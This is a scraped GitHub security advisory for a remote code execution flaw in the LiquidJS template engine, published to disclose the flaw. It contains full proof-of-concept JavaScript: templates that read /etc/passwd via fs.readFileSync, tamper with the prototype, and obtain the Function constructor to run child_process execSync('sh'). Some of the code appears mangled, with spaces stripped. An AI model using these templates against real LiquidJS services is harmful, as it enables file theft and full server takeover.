You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
LiquidJS is Vulnerable to Remote Code Execution
Critical severity
GitHub Reviewed
Published
May 24, 2026
in
harttle/liquidjs
•
Updated May 27, 2026
function calls with a controlled first argument via comprable
import{Liquid}from"liquidjs";constengine=newLiquid();conststoreFn=(dst,src)=>{constparts=src.split(".");constpath=parts.slice(0,-1).join(".");constprop=parts.at(-1);return`{% assign _g = ${path}|group_by:"0"%}{% assign _gs = _g | where:n,"${prop}"|first%}{% assign ${dst} = _gs.items | first | last %}`;};consttpl=`{% liquidassign r = 1|valueOfassign m = r.context.scopes|firstassign fs = r.liquid.options.fsassign n = "name"%}${storeFn("equals","fs.readFileSync")}${storeFn("gt","fs.readFileSync")}${storeFn("geq","fs.readFileSync")}${storeFn("lt","fs.readFileSync")}${storeFn("leq","fs.readFileSync")}{{m == "/etc/passwd"}}`;constv=awaitengine.parseAndRender(tpl,{});console.log(v.trim());
changing the prototype of things
import{Liquid}from"liquidjs";constengine=newLiquid();engine.registerFilter("log",(val)=>console.dir(val,{depth: 1}));consttpl=`{% liquidassign r = 1|valueOfassign m = r.context.scopes|first %}{{m|log}}{% assign __proto__ = r.liquid.parser %}{{m|log}}`;constv=awaitengine.parseAndRender(tpl,{});console.log(v.trim());
When calling functions via the comparable gadget, this will be the scope.
By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.
Complete instructions, including specific configuration details, to reproduce the vulnerability.
import{Liquid}from"liquidjs";constengine=newLiquid();conststoreFn=(dst,src)=>{constparts=src.split(".");constpath=parts.slice(0,-1).join(".");constprop=parts.at(-1);return`{% assign _g = ${path}|group_by:"0"%}{% assign _gs = _g | where:n,"${prop}"|first%}{% assign ${dst} = _gs.items | first | last %}`;};consttpl=`{% liquidassign r = 1|valueOfassign m = r.context.scopes|firstassign l = r.liquidassign p = l.parserassign f = l.filtersassign n = "name"%}${storeFn("equals","p.parseFile")}${storeFn("gt","p.parseFile")}${storeFn("geq","p.parseFile")}${storeFn("lt","p.parseFile")}${storeFn("leq","p.parseFile")}${storeFn("readFile","f.default")}${storeFn("lookup","f.raw.handler")}{% assign loader = m %}{% assign context = m %}{% assign opts = m %}{% assign liquid = m %}{% assign options = m %}{% assign __proto__ = p %}{% assign tagDelimiterLeft = n %}{% assign tagDelimiterRight = n %}{% assign outputDelimiterLeft = '[' %}{% assign outputDelimiterRight = ']'%}{# set to some some function, so that filters['constructor'] -> Function #}${storeFn("filters","f.raw.handler")}{# store Function #}{% assign output = m == "[0|constructor]" | first %}{% assign val = output.value.filters|first %}{# set scope.equals to Function #}${storeFn("equals","val.handler")}{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}{{RCE}}`;constv=awaitengine.parseAndRender(tpl,{});console.log(v.trim());
Impact
What kind of vulnerability is it? Who is impacted?
Remote Code Execution.
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Learn more on MITRE.
Summary
It is possible to execute arbitrary code with crafted templates
Details
`1|valueOf` -> `this` when evaluating the filter
{%assign r=1|valueOf%} {{r|inspect}}{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}function calls with a controlled first argument via comprable
changing the prototype of things
When calling functions via the comparable gadget,
thiswill be the scope.By overwriting
this.loader.lookupandthis.readFile, to fully control what goes intothis.parse, and while controllingthis, a reference to theFunctionconstructor can be obtained, which then allows executing arbitrary code.PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Impact
What kind of vulnerability is it? Who is impacted?
Remote Code Execution.
References